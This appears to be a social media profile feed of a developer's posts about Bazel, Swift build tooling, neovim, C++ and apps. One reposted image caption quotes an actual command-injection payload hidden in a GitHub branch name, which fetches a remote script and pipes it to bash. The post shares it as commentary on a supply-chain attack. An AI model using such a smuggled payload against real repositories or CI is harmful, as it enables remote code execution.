Advertisement · 728 × 90

Posts by Keith Smiley

Are there any Linux friendly laptops with a trackpad anywhere close to MacBook quality?

2 months ago 2 0 1 0
Preview
beyond the noise - Bazel Keith and the Quest for Better Builds Matt Klein sits down with Keith Smiley, aka “Bazel Keith,” to talk all things Bazel and iOS tooling. Keith shares how hacking on Objective-C in high school, contributing to CocoaPods in college, and j...

🎙️ New Beyond the Noise ep! @smileykeith.bsky.social (“Bazel Keith"), talks Bazel, iOS tooling, and his journey from CocoaPods ➡️ Lyft ➡️ Modular.

Catch war stories of compiler bugs, dealing w/large Swift codebases, plus, why Apple/Google don’t solve many DX problems 👀

bitdrift.io/podcast/beyo...

4 months ago 4 3 1 0
Preview
Meta Invents New Way to Humiliate Users With Feed of People's Chats With AI In an industry full of grifters and companies hell-bent on making the internet worse, it is hard to think of a worse actor than Meta, or a worse product that the AI Discover feed.

This is horrible. Be careful what you type in to text boxes on the internet! www.404media.co/meta-invents...

10 months ago 2 0 0 0
Preview
‎Poolsuite FM ‎Poolsuite FM is the ultra-summer music player for Macintosh Computer; transporting you to a virtual vacation where the sun never sets. Formerly

Poolsuite FM just got a redesign and it continues to be the most fun iOS app design out there apps.apple.com/us/app/pools...

10 months ago 2 0 0 0
Preview
The CIA Secretly Ran a Star Wars Fan Site The site, starwarsweb.net, was a covert CIA communications tool. It has pictures of Yoda and C-3PO on it.

"The CIA Secretly Ran a Star Wars Fan Site" www.404media.co/the-cia-secr...

10 months ago 4 1 0 0
Preview
GitHub - dtolnay/buck2-rustc-bootstrap: Compile Rust compiler using Buck2 Compile Rust compiler using Buck2. Contribute to dtolnay/buck2-rustc-bootstrap development by creating an account on GitHub.

github.com/dtolnay/buck...

Build #rust via buck2 instead of x.py, very cool project by @dtolnay.bsky.social

11 months ago 42 4 0 0
App Store Connect submission screen for Delta

App Store Connect submission screen for Delta

External purchase scare screen for Delta:

You're about to go to an external website.
Apple is not responsible for the privacy or security of purchases made on the web.

Any accounts or purchases made outside of this app will be managed by the developer
"Testut Tech". Your App Store account, stored payment method, and related features, such as subscription management and refund requests, will not be available. Apple can't verify any pricing or promotions offered by the developer.

External purchase scare screen for Delta: You're about to go to an external website. Apple is not responsible for the privacy or security of purchases made on the web. Any accounts or purchases made outside of this app will be managed by the developer "Testut Tech". Your App Store account, stored payment method, and related features, such as subscription management and refund requests, will not be available. Apple can't verify any pricing or promotions offered by the developer.

New Patreon donation screen in Delta with button to directly donate to our Patreon

New Patreon donation screen in Delta with button to directly donate to our Patreon

App Store Guidelines have been officially updated, so I just submitted a new Delta update without all the external payment restrictions!

Goodbye scare screen 👋

11 months ago 20 2 0 0
Advertisement
Finding unused targets with bazel - Keith Smiley

I wrote up a post on how to use `bazel query` to find unused targets www.smileykeith.com/2025/03/24/u...

1 year ago 3 0 0 0

The blink is so delightful

1 year ago 2 0 0 0

Awesome! Lmk how it goes if you do test with zstd too. I made a note to test it next week

1 year ago 0 0 0 0

Yea great point, I really should. I tried zstd in my testing but ended up not going with it just because the llvm releases dynamically link it and I didn't want to update the docker image I was using to include that 🙃

1 year ago 0 0 1 0
The screen from Balatro that shows your progress unlocking cards and every type is fully unlocked

The screen from Balatro that shows your progress unlocking cards and every type is fully unlocked

Very satisfying

1 year ago 7 0 0 0
Bazel caching and compressed debug info - Keith Smiley

I wrote up a quick post about how compressed debug info with C++ saved a ton of bandwidth w/ bazel's remote cache www.smileykeith.com/2025/02/14/c...

1 year ago 4 0 1 0
Post image

1Password has gone from being one of my favorite Mac apps to receiving marketing emails informing me they are the “Official Cybersecurity Partner of Oracle Red Bull Racing”

1 year ago 12 1 1 0
Preview
GitHub - swiftlang/swift-build: A high-level build system based on llbuild, used by Xcode, Swift Playground, and the Swift Package Manager A high-level build system based on llbuild, used by Xcode, Swift Playground, and the Swift Package Manager - swiftlang/swift-build

We open sourced Xcode’s build system github.com/swiftlang/sw...

1 year ago 93 33 2 1

If you wanted no leaks you should have gone into Settings -> Security -> Configure privacy & security -> Privacy options -> Other -> Configure -> Media interface and clicked “Disallow.”

The Leak setting is on by default but we understand your privacy is important so we’ve made it easy to opt out

1 year ago 31678 5468 827 271
Unremarkable and odd places in Breath of the Wild
Unremarkable and odd places in Breath of the Wild YouTube video by Any Austin

If you need some joy in your life, I highly recommend Any Austin on YouTube www.youtube.com/watch?v=gGDy...

1 year ago 3 0 0 0
Advertisement
Preview
Careers - Woven by Toyota Woven by Toyota innovates and invests in new technologies, software, and business models that transform how we live, work, and move.

Rust Software Engineering internship (3 months). We can bring you to Tokyo, Japan from overseas. Can start from June or from August.

1 year ago 22 15 2 1
Code written with box characters used on old old software to make fake UIs

Code written with box characters used on old old software to make fake UIs

You’re still arguing about tabs vs. spaces? May I present…

1 year ago 5290 1278 157 145
Preview
Coding Font Selection ‘Tournament’ Link to: https://www.codingfont.com/

Really fun coding font bracket: daringfireball.net/linked/2024/...

1 year ago 0 0 0 0

It's wild that I can leave my 3d printer alone for 24 hours without checking on it but I can't print 1 photo with my photo printer without it fucking up

1 year ago 0 0 0 0
Exposing the Honey Influencer Scam
Exposing the Honey Influencer Scam YouTube video by MegaLag

Finally someone figured out what sketchy thing the Honey browser extension is doing www.youtube.com/watch?v=vc4y...

If you have this installed, uninstall it ASAP.

1 year ago 2 0 0 0
WG21, aka C++ Standard Committee, December 2024 Mailing

C++ standard tooling papers have been withdrawn:

* ISO politicking over licensing
* "WG21 prioritized profiles above the tooling ecosystem work."

www.reddit.com/r/cpp/commen...

1 year ago 33 3 3 1
Preview
feat(lsp): add `vim.lsp.config` and `vim.lsp.enable` by lewis6991 · Pull Request #31031 · neovim/neovim Problem Setting up LSP clients require unnecessary boilerplate. LSP configuration has no system. Solution Add vim.lsp.enable() and vim.lsp.config(). Design goals/requirements: Default configurat...

#neovim Development News

The 0.11 version will have a more straightforward way to set up LSP servers:
- `vim.lsp.config` to configure.
- `vim.lsp.enable` to set up automated start.
- Special 'lsp/' directory for passive config discovery (similar to 'ftplugin/')

PR:
- github.com/neovim/neovi...

1 year ago 92 7 3 1
Advertisement

"rules" that terminal programs follow jvns.ca/blog/2024/11...

1 year ago 462 62 23 1
Unboxing an Apple App Store Award #shotwithkino #unboxing #apple
Unboxing an Apple App Store Award #shotwithkino #unboxing #apple YouTube video by Ben Sandofsky

Unboxing an App Store Award. #ShotWithKino

www.youtube.com/shorts/lF-fl...

1 year ago 62 3 1 2
Picture of a Github PR with text reading

openimbot wants to merge 0 commits into ultralytics:main from openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

Picture of a Github PR with text reading openimbot wants to merge 0 commits into ultralytics:main from openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

absolutely incredible attack vector

1 year ago 948 258 17 53

I finally upgraded my work Mac to Sequoia and now after ~1 minute I can't type in tmux. What's the state of downgrading these days? 😬

1 year ago 0 0 0 0
Preview
The two factions of C++ The dream of a single dialect-free C++ has probably been dead for many years, anyway.

"The two factions of C++" is a great read: herecomesthemoon.net/2024/11/two-...

1 year ago 15 10 1 0

www.theguardian.com/lifeandstyle...

1 year ago 1 0 1 0